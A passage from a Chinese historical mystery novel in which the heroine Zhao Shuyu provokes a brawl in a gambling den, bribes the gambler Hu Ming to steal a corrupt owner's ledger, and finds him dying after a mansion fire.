那人一拳被她打到墙上,又弹了回来,狠狠摔在地上。
他躺在地上用另一只完好的手捂住胸口,口中“哎呀”痛苦地来回打滚叫唤。
“你这样的人下了地狱也是脏了地狱门。”
说罢,她厉色扫视了一眼窝成那一团瑟瑟发抖的人,冷哼一声后转身而去。
可没成想李惟初却在狱门口好整以暇地等着她,她走来时正巧看见一个侍从在他耳边和他低语些什么。
她被他抓进马车里时,李惟初曾对这人耳语些什么,没想到时隔不久她竟又能看见他。
赵疏玉隐下心中思绪,目不斜视地经过李惟初。
他见赵疏玉竟然就这么掠他而去,心有不满,不悦地叫住她,“站住。”
赵疏玉停下脚步,若无其事地回头,不解道:“李县令?”
李惟初冷清地嗯了一声,道:“问出什么来了?”
“没有。”赵疏玉如实答道。
接着又道:“或许可以查一查赌坊的刘坊主,我总觉得里面有古怪。”
“查?”李惟初一挑眉,他声色依旧如往常冷清,丝毫不见在狱中唯他二人时的动容。
“他的赌坊从未有什么差错,若是贸然去查,恐怕会打草惊蛇,引得人心惶惶啊。”
赵疏玉听出他话中意味,不禁深色盯着他眸中那一片平静的深渊。
问道:“你想让我去搅一趟浑水,让你名正言顺地彻查他吗?”
李惟初挺直脊背,一副芝兰玉树,翩翩君子般清风朗月的模样,谁又能看出这一张俊美的容颜之下埋藏的是怎样的心机与城府。
赵疏玉却看了眼人来人往的周围,戏谑一般地看向他,问道:“李县令难道觉得这里是说话的地方吗?”
李惟初看了她一眼,往前走去,“跟我来。”
二人一路无言,走至书房内,李惟初转身关门时,便听得赵疏玉环顾了一圈里头的环境后说道:“恐怕李县令是想要找到刘坊主的一个突破口,不是为了沈怀夕,而是早就想对他动手,却一直找不到机会吧?”
李惟初身姿一顿,他关好门后,低低说了一句,“你很聪明。”
他转身缓缓走到她身前,眸中依然幽深晦暗,复杂的神情踊跃其中,却最终化为平静。
可他的平静,却是十分压抑的平静。
“藏好你的聪明,别让它成为致命的利刃。”
他袖袍一挥,正襟危坐,可目光仍旧不离开她半分。
“想怎么做?”他抿了口茶,问道。
赵疏玉走到他面前,坦然坐下,在李惟初微微有些怔愣的目光下给自己倒了壶茶。
她仰头喝尽,擦了擦嘴站起身,道:“你会知道的。”
而后她便大腿一迈,头也不回地走出门外。
李惟初盯着她的背影半晌,他垂下眼眸,轻放下茶盏,“来人。”
赵疏玉走在街上脑中不断涌现着沈怀夕死前的惨状,袖下的手掌不断收紧。
既要闹,又不被别有用心的人看出来端倪,最好的方法只有一个。
她走进那间全江南最盛大的赌坊。
青烟缭绕,纸醉金迷,既是赌徒们的天堂,亦是他们的永间地狱。
有人骨瘦嶙峋,眼窝凹陷,双眼却死死盯着骰钟,露出浓浓的贪欲;有人锦衣金装,得逞又戏谑地看向对面垂头丧气连成本也亏空,衣不蔽体的白鼠。
在这里,人,最不是人。
金钱,则视为塔尖。
赵疏玉有些嫌恶地皱了一下眉,似是对里面这种难言激荡的烟雾气息而感到不适。
她掀开空无一人的帘子,掏出一大袋银钱放在宽大的赌桌上,银钱落在赌桌上的重量吸引来一大批赌徒。
他们既贪婪这袋银钱,又对赵疏玉一介女流鄙视不已。
有人蠢蠢欲动,有人则信口雌黄。
“娘们也会赌?”
“哪个正经姑娘会来这种地方啊?”
“想必这钱也没花什么心力就赚回来了吧,哈哈哈……”
“青楼里头小娘子赚钱可是最容易的了,哥几个是不是
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?”
赵疏玉听着这些人信口开河,源源不断地出言讥讽挑刺,将她贬入尘埃里。
她全都当听不见,而只冷冷地转头看向这几个说大话的人,问道:“可有人敢与我一比?”
“敢?有何不敢!?”说她这袋子银钱是从青楼里赚来的人,当即眼睛冒出邪光,蹭得一下跳上来。
往桌上“砰”地一声砸出一堆小山似的白银。
这人眼睛小小,看向赵疏玉那袋银钱时眼中迸发出一注恶意满满的精光,而看向赵疏玉时眼神中竟射出一道绿油油的目光,充斥着猥琐。
赵疏玉不喜旁人这么低俗地盯着她看,而若在此时发作恐惹人猜忌,只得按下静待时机。
她面上生硬地扯出一抹看似和善的微笑,却是额冒青筋,握着骰盅的手指亦是铁青。
“开始吧。”
她实在装不下去了。
赵疏玉双手执盅,轻轻在左耳边摇晃,她闭眼仔细倾听,盅里面传来轻微的两骰子相撞的声音。
对面的人看见她这一副行云流水的动作,似乎是个老练家。
他神色忐忑,倒不似方才那般轻松。
赵疏玉轻轻放下骰盅后往前推了一下,向他微微抬手。
他见赵疏玉一副胜券在握,胸有成竹的模样,心中倒有些生怯。
正在他左右思考间,台下众人瞬间炸开了锅。
“虎哥!虎哥怕她一个姑娘做什么!”
“是啊是啊,虎哥快开盖啊!”
听着台下一窝蜂地乱哄哄一片,场上烟雾弥漫,待久了缺氧。
她的心中不免烦闷起来。
“大。”
听着对面那人咬着牙从牙缝里蹦出来这个字,赵疏玉只轻轻点了点头,而后随意道:“那就小吧。”
这么随意??
众人一愣,连带着燥热的空气皆是一滞。
虎哥听罢,原本悬着的心霎时间重又放回胸腔。
连着几轮都是赢,他摇骰盅的姿态都嚣张了许多,一时间春风得意似又回到了他的主场。
“大还是小。”
赵疏玉还是一脸无所谓,气定神闲道:“大。”
“又输啦!哈哈哈哈!”
“钱都是我的啦!!!”
赵疏玉看着自己桌上仅剩的银两全都到他的桌上后,不急不忙,却是云淡风轻地微微一笑。
看着赌台上的骰盅,她抬眼泰然自若,眼神中却有一丝异样的变化,“小。”
凭着万局赌场的本能,他隐隐意识到危机感。
而在他战战兢兢打开骰盅的那一瞬间,骰盅的两个点数竟然都是一!
虎哥顿时脚下一软,若非扶住赌台,想必一股脑摔到台下也不一定。
而赵疏玉则是微微一挑眉,将他桌上所有的银钱都揽到自己怀里。
虎哥不服气,指着她道:“再来!我不信输给你这个小娘子!”
赵疏玉却摇摇头,“赌成瘾,见好就收才是真谛。”
虎哥的脸色微微发青,这时再也撑不住,两腿一软蹲坐下去。
说罢她认真仔细地将桌上的银两一块块都放入自己的口袋中,口袋被塞得鼓鼓囊囊,有几块还不小心挤掉了下去,没入人群顷刻消失不见。
而人群中很快就有人嫉妒得面目全非,“一介女子,竟与我们论输赢!你定是藏了什么,好出老千赢了虎哥!”
“对!”
人群之中附和声群起浪潮,此起彼伏。
而赵疏玉却两耳不闻,转身走时还炫耀似的拍了拍自己满满当当的战利品。
台下见她只是一介弱女子,登时想也不想,群起攻之,而赵疏玉却是唇角微勾,来此处的目的已然达成。
5. 安陵之死
一人的手尚未碰到赵疏玉的肩,她登时一个回旋踢飞那人。
那人被踢翻在地,捂着胸口痛苦哀嚎起来。
身后的贪婪绵绵不绝,赵疏玉以一敌十,便是一个个都将他们解决在地,只是他们仍不死心,如不倒翁般即使打入在地,也能瞬间弹起,继续往她面前冲去。
这些可都是钱比命还重要的赌徒,而赵疏玉一介女子,再怎么卓尔不群也终将她的体力慢慢消磨殆尽。
赵疏玉的目光向门口转去。
门外唯一的亮光都被人堵死了!
她边打,口袋里的白银如流水般从袋中掉下来,没入他们的血盆大口之中,赵疏玉见他们不要命似的疯狗紧紧咬着,隐隐有些吃力。
一人手里拿着一根粗壮的木棒,高高举过头顶,怒喝一声横冲直撞而来,赵疏玉微一凛目,她一个翻身稳稳落在另一个赌桌上,在众人的惊呼下,她脚底一推,将那赌桌飞一般砸往他的胸口。
而虎哥见这越打声势越大,赌坊可从来没出过这么大的事,再这么打下去恐怕要惊动官兵!
他大声叫道:“你们不要打啦!不要再打啦!”
虎哥虽是贪财贪色,但好歹愿赌服输,输了就输了,哪怕倾家荡产,输就是输,没得为了这钱财一事伤人性命啊!
还是个小娘子的性命!
可人群激昂,他那一点叫唤就像是在一片汪洋中激起了一点不必要的水花,连浪都没滚起来就已经淹没于海了。
而这场上的形式确实越演越烈,一发不可收拾!
有几人手上气势汹汹拿着砍刀,直奔赵疏玉而来。
而她看着他们大刀阔斧的样子,心中倒越升兴趣来!
她倒要看看,今儿个她究竟能将这赌坊砸成什么稀巴烂!
赵疏玉热血沸腾,刚要一个箭步冲出去时却突然被一只无影爪给一把抓住薅走。
这人的身后倏然冒出一波人马,他们虽是便衣,但她曾在县衙里看到过这些人。
赵疏玉心中响起的警铃危机暂且落肚,只是她十分不满地拍掉这人的手,问道:“你是谁?李惟初呢?”
他见那滋事闹事的人都被控制住后,他才后退一步,行礼道:“赵姑娘莫怪。”
“属下凉丝,奉县令之命特来助姑娘一臂之力。”
赵疏玉却摇摇头,某种闪过一丝不屑。
她抬了抬下巴道:“不需要。你们李县令的好心我可不敢承受,没由得以后挟恩以报,又让我做什么事情。”
说完,她回眸看了一眼已经被严严实实管制住的那群人,又回头问凉丝道:“门口有人堵着,而你们人在里面,可知你们现在的处境就如同瓮中之鳖,要是有人趁机杀了你们……”
凉丝摇摇头,他道:“刘坊主不会放纵赌坊里的赌徒们伤杀官兵。”
“曾有个赌徒用刀片不小心划伤了上任县令的衣袍,刘坊主知道后,卸了他的一条胳膊去给上任县令请罪。”
凉丝道:“坊间已经很久没出过这么大的风浪了……”
赵疏玉闻言,垂眸敛色,心中将凉丝的弦外之音听得真真切切。
一束略有些耀眼的光照从门外射进来,可在雾气的纠缠下,这束光黯淡无彩,好似被黑暗裹挟了一层厚重的外壳。
门口守着的人不知什么时候消失了。
而赵疏玉今日之程也已完成,见门口不再设防,她径直走了出去。
踏出坊门的那一刻,新鲜的空气迫不及待地钻入赵疏玉的鼻中,而街上人头攒动,人声鼎沸,实在是热闹非凡。
这样的热闹是具有人间烟火气的,而非是充斥着金钱腐败的铜臭气味。
她低头看了一眼洒了半袋银钱的口袋,倒也不恼,拍了拍口袋后就回县衙了。
经此一遭,她衣裳的每个毛孔都残留下赌坊的余味,赵疏玉紧拧着眉回府,在路过李惟初的时候,冷不丁给他翻了个白眼。
而李惟初则是莫名其妙。
赵疏玉洗沐后如沐春风,连带着原本低沉的心情也变得高亢起来,却冷不丁被坐在案边淡定喝茶的李惟初当头一浇。
“去趟赌坊倒是受益颇丰啊?嗯?”
她不动声色地走到他面前,扯起谎来面不红心不跳。
“是啊。毕竟是从小在山里野村长大的孤女,不学点生存技能怎么行?”
“小赌怡情,大赌伤身。”李惟初放下茶杯,幽深的眸中看着她道,“赵姑娘凡事把握分寸。”
赵疏玉点点头,示意她知道了。
而后径直坐到李惟初身前,眸色微微凛起,“有审出来什么吗?”
李惟初晦涩不明地看了她一眼,眸中更多了一分审视。
如实相告道:“赌坊打架很正常,只要不死人,不伤官兵,不牵扯无辜百姓,都不算大事。”
赵疏玉点头,“我本想将赌坊搅个天翻地覆引刘坊主出洞,可惜他倒是跟万年老王八似的,真能憋。”
她一向在李惟初的眼里是不苟言笑,严肃寡言的人,未曾想这语出倒是惊人。
他微微一愣,抿了口茶道:“只不过这几人中有一个和刘坊主有过接触。”
“是谁?”
“虎鸣。”
虎哥?
赵疏玉蹙眉思索道:“虎鸣应该就是和我对赌的人,他虽是有些贪财好色,但也愿赌服输,挺坦荡的一个人。”
她边说着,脑中便忽然开朗,问道:“你想让我用虎鸣来钓出刘坊主?”
李惟初沉默地看着她,不发一语。
赵疏玉则目光不惧地与他对视,心下了然。
继续道:“虎鸣贪财,你想用这个手段来让他为我们办事?”
“我已经暴露,若再贸然去查必定会引起刘坊主的怀疑,而虎鸣本就和刘坊主有所接触,借他的手查案是最合适不过的。”
“你想怎么做?”赵疏玉的目光如炬紧紧盯着他看。
他的眸色中似笼罩着一层黑暗,隐有亮光闪烁其中却又顷刻被深海中更猛烈的礁石撞过,只余下一片深不见底的黑暗。
赵疏玉却看懂了他的意思,微微勾唇道:“李县令从不说废话。你的意思我明白了,只是我还有个问题。”
“待你将案子办回,本官准你提问。”
她也不再多问,而是站起身道:“我有两个条件。”
“准。”李惟初大袖一挥,扔给了她一块令牌。
赵疏玉握着手中这块带有县令象征的令牌,知道他既是在试探自己,亦是为护自己。
她以为自己只是他身边一把利刃,随时可弃,却没曾想他竟不是这么冷血冷情的人。
这给她令牌的目的,当真是令人深思。
她也不在这上面浪费时间,拿着令牌打开库房,取出两块金锭出来后便奔往地牢。
赵疏玉手执令牌一路畅行无阻,不费多时便到虎鸣的狱前,吩咐道,“开门。”
门口守着的一个官差面露难色,“这……”
她将令牌一亮,官差立刻变得变得十分通情达理。
“姑娘,请。”
连带着看她的神色也变得恭敬庄重起来。
她款款而来,一袭白衣翩翩,譬如雪山之巅的雪莲,冰清玉洁却又拒人于千里之外。
虎鸣并没有参与进这场打斗中,但也不知是李惟初有意还是无意,也将他给一起抓了进来。
他静静地缩在角落里,眼中的精光早已灭去,空空荡荡,只剩下呆滞。
她站在高山之巅,而他是卑贱到泥地中的蝼蚁。
赵疏玉摊开手掌,将那两块金锭暴露在他的视野里,开口道,“想要吗?”
金锭闪着金灿灿的光亮,绚烂夺目,却又是那么危险迷人,可他似乎却丝毫不顾身前的万丈深渊,纵然粉身碎骨,他亦不惧。
虎鸣立刻扑倒在赵疏玉的身前,眸中满是
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贪婪的渴望,他忙不迭点头,“要!我要!”
赵疏玉勾了勾唇,她收回金锭的那只手,“世间之事有付出才有回报……”
她话音未落虎鸣想也不想,似是早已下定了决心,“我干。”
这句话就像说了万千次一般,那么平稳,那么坚决。
赵疏玉倒也不惊讶,对于一个贪婪的人来说,金钱是最好的诱惑。
她点了点头,清冷的声音回荡在整个牢狱中,慢条斯理问道:“你认识刘坊主吗?”
他微一愣,而后点点头,“刘坊主,本名刘世尧。”
“你见过他吗?”赵疏玉明知故问,她紧紧盯着虎鸣的神色,不想错过一分。
“……见过。”他答道。
赵疏玉手指轻轻摩擦着金锭,闻言点了点头,继续又道:“你们欠了赌账该怎么办?”
虎鸣神色一怔。
他双眸圆睁,眼神中满是惊恐地看着她。
而她神色淡然,慢慢将视线移到他惊恐的视线上。
而后缓缓只吐出两个字,“说话。”
而他却似是鼓足勇气,跪着往前挪了两步,伸手要道:“一个金锭。”
赵疏玉眉间微动。
虎鸣死死咬着下唇,讨要的手悬在半空颤颤巍巍,指尖微微弯曲,却依旧没有收回。
“你觉得你回答的问题值一个金锭吗?”
虎鸣却抬头看她,眸色中是笃定,“姑娘,我虎鸣敢拿我老娘起誓,接下来我要说的事绝对不止一个金锭……”
闻言,赵疏玉的双目染了层寒意,“看来你的野心很大啊。”
虎鸣紧紧咬住后槽牙,在赵疏玉充满压迫的视线中露出一抹异样的笑容来。
“姑娘,我们都是各取所需。”
赵疏玉与他对视良久,而后将一块金锭递给他。
“自然。”她的唇边缓缓勾起一抹弧度,接着道,“这些只是定金。”
“事情完成后,我再给双倍作为谢礼,怎么样?”
虎鸣几乎是想也不想,立马答道,“成交!”
他接过赵疏玉的金锭,滔滔不绝起来,“刘世尧此人多金,却极为好色,赌坊只是他名下的一个产业而已,而那些欠了赌债的人刘坊主不要他们还债,却要他们拿家中妻子典当给自己作为还债。”
说了一半,虎鸣抬头观察赵疏玉的脸色。
只见赵疏玉眸中并无太多惊讶,似乎一切都在她的意中之内。
他只好又道,“令我们这些人最震惊的是前几年的一次典妻。”
“沈怀夕?”赵疏玉问道。
虎鸣点了点头,他道,“安陵本中了秀才,诗书文采斐然,引得沈家小姐一见倾心,不顾父母反对硬是要嫁给他,可想那沈家小姐风华绝代,嫁进去那可是风风光光,嫁妆十里长街!”
“安陵若是就此收心苦读,高中进士也无不可能。可惜啊……”虎鸣叹了口气,“赌瘾一旦缠身,那就是轻易戒不了了。”
“赢了还想赢,输了不甘心。那时候刘世尧也看上了沈怀夕,却被安陵捷足先登,他怎会不气,便在赌场中疯狂给安陵……”
赵疏玉垂眸,她接着道,“所以安陵败光了家产,又输掉了沈怀夕的嫁妆,犹还不够,只能将她典给刘世尧吗?”
虎鸣点了点头,道,“如若不然,他怎么向刘世尧拿钱去还他的印子钱?”
印子钱?
赵疏玉心中一沉,怎么李惟初和自己查到的信息中没有这一条?
“你怎么知道他还欠了印子钱?”
虎鸣嗤笑一声,他道,“借印子钱来赌,赌场的人都知道,况又不是什么光彩的事,为什么要闹得大街小巷都知道?”
“借他印子钱的人,是谁?”
虎鸣抬头看向她,他的目光含有一丝讽刺,也有一丝玩味。
他一字一字地吐出。
“刘、世、尧。”
6. 火场惊魂
黑云层层叠叠地掩盖住月光的清辉,向整片寂寥的大地倾覆而来。
赵疏玉眼角微沉,从狱中出来时身后跟着微缩着身子的虎鸣。
“记住要你做的事。”
虽说用人不疑,疑人不用,但总归不是自己亲自去办,总还是有些放心不下。
在赵疏玉的有意安排下,虎鸣被几个官差大棒子打了出去,言辞中颇有警告的意味。
“你虽未参与斗殴,但此事也是由你挑起……”凉丝将手中的钱袋子扔在虎鸣身前,道,“和你对赌的姑娘受了不小的惊吓,现还在昏迷之中。赵姑娘清醒时说了,你的钱她可要不起!”
虎鸣赶忙弯腰从地上捡起失而复得的钱,好好将它们藏在怀里,不断点头哈腰道:“是……是,多谢姑娘不追究之恩……多谢大人,多谢县令……”
他似是惊魂未定,迅速说完这几句话之后飞一般转身就跑了。
李惟初和赵疏玉则站在暗处,看见虎鸣一溜烟跑得无影无踪,他微微蹙了下眉,怀疑道:“你对他做了什么?他竟被你吓成这副模样?”
赵疏玉拢了拢头发,见虎鸣跑没影了,她眸色未变,依旧平静道,“他之前对我说了什么话,我照样回了他,就这么简单。”
说完这句话之后,她罕见地勾起了一个不太友善的笑容。
李惟初有些狐疑地瞥了她一眼,而后转身,“你自己心中有数,别把人玩坏了。”
“放心。”她盯着被虎鸣掀起的一地尚未散去,飘浮在半空中的灰尘,勾了勾唇角。
李惟初临走前又瞥了她一眼,这一眼中审视的意味很浓重,但赵疏玉滴水不漏,什么情绪都没流露出来,他一无收获,只得离去。
赵疏玉回到房中后,从首饰盒中拿出沈怀夕的木簪,上头的桃花晶莹剔透,花瓣上沾着浅嫩的粉色,娇艳欲滴,美丽动人。
而这支发簪下埋藏的秘密就仅限于此吗?
仅仅,只有药玉坊和安陵这几个人吗?
刘世尧,他到底是真心爱慕沈怀夕,还是别有他谋呢?
若是他真心爱慕沈怀夕且对她关怀有加,那么沈怀夕又为何要急切地凑齐赎身的银两,交给安陵让他帮自己赎身呢?
刘世尧的府上,究竟埋藏着什么秘密?
难道说,沈怀夕那么迫切地想离开是因为她发现了什么吗?
赵疏玉忽然想到什么,她握着簪子的手猛地拍案而起,转身走至门后,却刚一打开门就看见门外站着一位不速之客。
绛紫色金丝云纹长袍衬得他周身气质矜贵华然,他深邃的一双眼中凛冽地射出一道生人勿近的目光,拒人万里。
但他的五官很是温润,若笑起来必与那意气风发的公子们一样明媚动人,既潇洒自在,又不失风度,楚楚谡谡。
可他却硬生生克制着自己,逼迫着自己,变得阴沉寡言,一步步偏离自己鲜动的内心,走向无尽的深渊。
赵疏玉有些愣住。
她不明白李惟初为什么要这样,也不明白这么晚了他怎么还会到访。
而他却率先将一只脚伸进门框内,赵疏玉只能将他请进来。
她不会古人的礼仪,也不屑这些虚礼,只做了个请的姿势,问道:“这么晚了不睡觉吗?”
李惟初摇摇头,他找了个位置坐下后,朝对面的位置示意了一下。
赵疏玉不解其意,待她落座后只听他道:“说说吧。”
“说什么?”
“你让虎鸣去做了什么。”
她坐姿端正,眼神中的光芒亦是平静。
“我让他去刘世尧的府上把账本和典妻名单偷出来。”她停顿了一下,道,“刘世尧贪色,他必不会只典当有夫之妇。”
“你的意思是说他强抢民女?”
赵疏玉忽然笑了一下,脸上的讽刺一闪而过,“谁知道呢。”
“为何猜测?”
“因为我。”她指了一下自己后目光直直盯着李惟初,“你忘了我是怎么被你抓住,威胁的吗?”
“我就是被强抢过去,典卖给某位大人的。”
李惟初敛下眸色,道,“那日我让维寻领着人马去搜山,结果……”
“一无所获。”
“只在破败的院子中找到一片青绿色衣衫。”
说着李惟初从袖袍中拿出一块丝帕,叠叠包裹着一块撕裂成碎片的青绿色衣裳碎片。
他将这块碎片放在桌上,摇曳摆动的烛火照在那块青绿色的衣衫上,跳动的烛火星倒映在赵疏玉的眸底。
而李惟初的眸光中却倒映着赵疏玉微微有些愣神的神情。
赵疏玉盯着这块衣衫片良久后缓缓道:“……我见过这个女子”
李惟初继续看着她,却没有催促她。
赵疏玉顿了顿,“她当时被好几个女孩子保护在中间……”
可还没等她再说什么,门外忽然响起一阵很急促的敲门声。
凉丝推门而入,神色有些不好。
他首先看了一眼李惟初,而后再看向赵疏玉,汇报道:“虎鸣暴露了。”
赵疏玉“腾”地站起,立刻夺门而出。
李惟初则垂下眸,将那块青绿色衣衫碎片重又收回。
他眸色深沉,沉声对凉丝吩咐道,“布防下去。”
“是。”凉丝领命退下。
而一室之内,只余下李惟初一人。
烛光黯淡将他的脸色淹没在黑暗之中,那双骨节分明的手轻而缓地摸索着那块青绿色衣衫碎片。
另一边,赵疏玉手持一剑火急火燎地在屋檐上飞奔。
只见远处浓烟滚滚,而后火势势不可挡,猛地窜起!
熊熊燃烧于整片黑夜中,火光如昼。
她立马往那个方向奔去。
大宅中不断传来尖锐的尖叫,声声痛苦绝望的嚎叫划破天际。
赵疏玉的心底漏跳一拍,脚下的步子恨不得抹油飞起来!
可她赶到现场时,却只看见埋在烈火中无数抽动嚎叫的女子,她们凄厉的声音透过重重火光穿进赵疏玉耳中,听得她心底一阵阵生寒。
“不……不要!”
透过这重重火光她不知想起了什么,惊恐的神色倒映在升腾起,不断扭动的雾气中。
“姑娘,请您止步。”凉丝赶到时见赵疏玉似不顾理智要冲进火光中,他连忙拦下。
宅中的尖叫声此起彼伏,最终全都埋葬在火海中,再无声息。
凉丝率领的官差也终于将火扑灭,可他还没来得及回头禀报,只见身后的赵疏玉一个箭步飞奔出去,冲向这处已成废墟的宅中。
宅中尸体被烈火烧至焦黑,皆以十分扭曲可怖的形状躺倒在地,尸体遍地。
歪斜的房梁上还在滴着水渍,脚下的路也在不断涌流着水迹。
堆积的尸体底下,有一条焦黑细长的胳膊手指动了动,赵疏玉推开压在他身上的尸体。
他的脸上已经被火烧得看不出一点五官,他吐出的气都极为岌岌可危。
“救……”
“救……”
赵疏玉俯下身,仔细辨别着他说的每一个字。
要自己救他吗?
她回头想叫凉丝,可地上的那人却拼尽全力地攥住她的手腕,似乎是认识她。
“赵……姑娘……”
他的嗓音嘶哑破碎,已完全被火中的烟气破坏。
每一句话,每一次呼吸都似乎在撕扯着灼烧
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的肺,忍耐着极致的痛苦。
可赵疏玉认出来了。
“虎鸣!”她几乎颤抖惊呼出声。
“做……到……了……”虎鸣艰难地说出这几个字,可他的整个身子都萎缩在一起,他连动都控制不了。
他攥紧赵疏玉的手腕,猛地睁大血红空洞的眼睛,死死瞪着她看,“金子……金子……”
“救……我娘……”
“求……你。”
潮湿的泪意涌上赵疏玉的眼眶,她的眼尾红红,死死压抑住喉中的哽咽,强撑着理智向他保证,“我答应你。”
而身下那人见心愿已达成,死活咽不下的这口气终于落肚,他几乎是在赵疏玉答应自己的那一刻就放开了攥紧赵疏玉的手腕,直接断了气。
而赵疏玉的手腕上却留下了虎鸣留下的一圈红痕。
她下一刻好似卸了力,蹲坐在他旁边,面上的神情虽看不出什么来,但她胸腔里的心脏却近乎碎裂。
怎么会这样?
赵疏玉发愣时,余光不经意瞟到虎鸣身下的一个鼓鼓囊囊的地方。
她颤颤巍巍地伸出手将他翻过身来,见他的身下完好无损地保护着一个木盒,她将木盒子紧紧抱在怀里。
现场都已被凉丝清扫地差不多,赵疏玉的背后传来不急不缓的脚步声,脚步声连着水迹的声音,回荡在整个空寂的宅中。
她以为是凉丝,于是深吸一口气,佯装无事地道,“县令要的东西,我已经帮他拿到了。”
可身后传来的并不是凉丝的声音,而是比他更为低沉的声音。
“我已经知道了。”
赵疏玉陡然回头,撞进李惟初如墨般涌动的双眸中。
他的眸色不似平日那般透着刺骨的寒芒,这一刻他的眸光柔软,温声提醒道,“地上凉。”
他望着她失魂落魄的样子,伸出一只手,“起来。”
赵疏玉有些怔愣地看着他,在他神色晦暗不明的目光中被他搀扶起身。
“剩下的就交给我吧。”他接过赵疏玉怀中的木盒,转头对凉丝道,“送赵姑娘回去。”
“是。”
凉丝走到赵疏玉身前,恭敬道,“赵姑娘,请。”
她渐渐从刚才的失神中回过神来,她推开凉丝,摇了摇头,重又将目光回到李惟初身上。
“我不怕。”
她的目光中坚毅无比。
“我一定要查明真相。”
“为沈怀夕,安陵,为因此死去的所有人报仇!”
李惟初的眸色中本是平静无波,看着她时总有种随性的感觉,并不在乎,却在听得她的这番话后,他的目光重新汇聚在赵疏玉的脸上。
他开始用正眼瞧她。
五官清丽,算不上是国色天香,眉眼间亦是恬淡疏离,可多的那一分英气妩媚,倒使她整个人超逸绝尘的同时又昂扬斗志,危险又迷人。
李惟初盯着她的眼睛,好似汪洋之中最危险的漩涡,他不舍离去,遂逐渐沉沦。
“那就证明给我看。”
他的语气一如往常冰冷淡漠,并无半分分别。
随后他将虎鸣到死都护着的木盒递给她。
李惟初大袖一挥,转身吩咐道,“着人去查始火点。”
“赵疏玉……”
他偏头看向她,赵疏玉抬头对上他的目光。
“你现在要做的,就是回府好好休息。”
“已经丑时了。”
赵疏玉一顿,看向他的目光中更多带一丝不解。
可真当她以为李惟初转了性子,竟学会关心人时,现实却给她来了沉重的一击。
赵疏玉这才发现,原来连让她回去睡觉都是怀有目的!
7. 危机再现
临走之前,赵疏玉回头拜托李惟初道:“有件事,我需要你……”
李惟初站在那里井然有序地指挥着下属,疏散人群。
听得她话之后只是稍微偏头,也没问是什么事,只说道:“好。”
他的身影与漆黑的夜晚融合在一起,似乎已成了惯例,连月光都不愿倾洒半分。
而他那样定定地站在那里指派,冷静、淡然,似乎一切身在其外,毫不在乎。
那他究竟在乎什么?究竟筹谋什么?
一个字承诺如金,凉丝受李惟初嘱托走至赵疏玉身边,恭敬地朝她鞠了一躬,垂眸道:“但请姑娘吩咐。”
赵疏玉敛下眸色,转头看了眼地上早已面目全非的虎鸣,脑海里浮现出虎鸣紧紧抓着她的手,死活不愿放下的样子……
她不动声色道:“帮我去找虎鸣的娘,尽快。”
凉丝得令后,朝她微行一礼,随后奔入黑暗再不见踪迹。
而赵疏玉则选择去周边的药铺套套消息。
而在她走之前,听得李惟初低沉暗哑的声音随着夜晚的冷风钻进赵疏玉的耳朵里。
“这处宅子是刘世尧名下的一处房产,且今晚闹出的动静并不小。”
官差手里举着火把,李惟初偏过头,一半隐匿在黑暗中,一半被火光照亮,只是他鸦羽般浓密的睫毛遮住了眸中藏匿的情绪,除却他的嗓音淡淡,赵疏玉再听不清任何情绪。
可他说完这句话之后,竟朝官差们挥了一下绛紫色云纹袖袍,在官差们的簇拥下缓缓离去,再没有留下一个字。
赵疏玉紧拧着眉,仔细揣度着他话里的轻重。
明天肯定有一场恶战要打!
虎鸣取得刘世尧这么重要的东西,她可不相信刘世尧还能继续当万年老王八继续憋着!
不过这也说明了一点。
如果那个盒子里装着的真是对刘世尧不利的东西,那么他一定会出手动作!
今晚的火烧大宅,必是他惊慌之下逼不得已做出来的事!
而他的目的就只有一个——毁灭罪证。
赵疏玉依据现有的证据猜测,只是如今最重要的……
她抬头望了一眼了无星点,黑压压的夜空,心头的沉重却是难以言说。
她不希望任何人再死去。
沈怀夕的死她无法阻止,虎鸣的死她一样无能为力。
她痛恨弱小无权的自己。
李惟初安排了两名官差随行保护赵疏玉,而她却没有立即打道回府,而是向身后的一人询问起来。
“这附近的药铺有几家?”
那人思考了一番,谨慎地答道:“共有三家。城西何家,城中徐家,还有城东邱家。”
赵疏玉点了点头,再道:“如今夜深,可还有哪家药铺开着门吗?”
“只有城东邱家。”
她嗯了一声,抬步向前走去,“咱们去那儿瞧瞧。”
短暂的喧嚣之后,一切又恢复往常的宁静。
深夜的大街上空无一人,寂寥宽阔,道路两侧摆放着空空如也的店铺,上面或用一袭草帘铺盖着,或袒露着,供野猫们攀爬窝睡。
一阵微风吹过,吹起地上一片枯黄的落叶,落叶在空中转悬几圈后安然落地。
赵疏玉踏过枯叶,不小心将它踩进地中,泥地瞬间埋没枯叶,将其作为无用的肥料,吸食分解。
而她也在短暂的路程后行走至城东邱家青石台阶之前。
方正的匾额中框着“邱记药铺”四个大字,旁边的店铺皆为黑灯瞎火的一片,只有中间的药铺灯火辉煌,燃烛天明。
她倒是有些好奇,为什么这邱记药铺这么晚了还没有打烊。
正想着,她走上青石台阶,伸手敲了敲门。
里面很快就传来应答声,“来了来了!”之后便是一阵急切的脚步声,忙不迭地将门开开。
药铺老板开了门之后竟是没先看她,而是古怪地往她四周看了一圈,看见她身后跟着两个官差服装的侍卫,脸色瞬间一变,神色中流露出恭敬,有些讨好地说道,“这,姑娘……咱们邱记店铺从天宝七年一直开到永庆二年,已有六年……这虽说时间不长,可从未赚过一分昧良心的银钱,也从不卖假药。连从我们这儿出去的郎中都是从宫里面出来的!这……”
见他面上露出为难和惊惧的表情,她紧盯的目光柔和几分,连语气也柔和道:“邱老板,我们今日前来并非公事……”
一听到这话,他紧绷的神经似乎立马是松懈了下来,可是就这微微放松的动作也被赵疏玉看在眼底。
她继续说道:“而是一些私事。”
她眼神看了下里面,邱老板立刻意会,连忙道:“姑娘里边请。”
赵疏玉进去后习惯性先观察一圈环境,满是中药苦味扑面而来,她不适地皱了皱鼻子,找了个可观全局的地方坐下后,问老板道:“你认识虎鸣吗?”
邱老板点点头,他道,“识得。”
“他经常在你这儿买药吗?”赵疏玉又问。
可是这一次邱老板答之前愣了一下,才道:“不算经常。”
“为什么?”赵疏玉敏锐地发现邱老板的话略有深意。
“因为他要买的药都很贵。而虎鸣没钱,也不干正经事,反倒是天天在刘坊主的赌坊里厮混博戏,再帮刘坊主做些生意,他也能得些挣点银钱给他老母治病。”
赵疏玉微微眯了眯眼,她一双耐人寻味的眸色紧埋眸底,面上却是丝毫未动,只问邱老板道:“他要买什么药,这么贵?”
